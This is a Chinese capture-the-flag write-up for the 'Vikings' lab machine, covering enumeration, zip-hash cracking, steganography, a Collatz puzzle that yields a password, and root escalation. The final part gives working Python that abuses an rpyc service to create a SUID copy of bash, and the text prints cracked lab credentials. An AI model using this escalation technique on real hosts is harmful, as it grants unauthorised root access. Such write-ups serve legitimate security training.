0%

学长的任务罢了9-vikings

  • 扫描打点

    • 80

      看一下 site 的内容,再扫一下,得到 war.txt,提示去 /war-is-over

      拿到一长串字符,扔到 cyberchef 发现是用 base64 加密的 zip

      下下来看一下,有密码

      先提取 hash 爆破出来:

      ragnarok123

      找到张图片,公式化看隐写找到里面有个压缩包:

      拿到账密:floki:f@m0usboatbuilde7

  • 脑洞题横向

    大概要横向到 Ragnar

    看起来需要 n=109 时考拉兹猜想的序列转成可打印字符

    这里注意 ascii 码中可打印字符范围在 32-126 所以只取这中间部分的序列:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def collatz(x):
    result = [109]
    while x != 1:
    if x % 2 == 1:
    x = (3 * x) + 1
    else:
    x = (x / 2)
    if x <= 126 and x>=32:
    result.append(int(x))
    return result

    print(collatz(109))

    解出来:

    账密:ragnar:mR)|>^/Gky[gz=\.F#j5P(

  • rpyc 提权

    • 这里注意有防火墙:即 wgetcurl 连不上

      这里要猜防火墙允许通过的端口号:这里是 80 ,还有可能是 443 或者 53 (DNS)

      看到这个:

      注意那个 rpyc ,查看官方文档

      监听 18812 端口,发现开着:

      根据文档,其允许客户端在服务器上执行任意 python 代码

      这里可以让靶机连接自己,即 localhost ,来以 root 运行命令,经典复制一下 bash

      1
      2
      3
      4
      5
      6
      7
      import rpyc
      connect = rpyc.classic.connect('localhost')
      def rootshell():
      import os
      os.system('cp /bin/bash /tmp/rootshell && chmod +s /tmp/rootshell')
      conn = connect.teleport(rootshell)
      conn()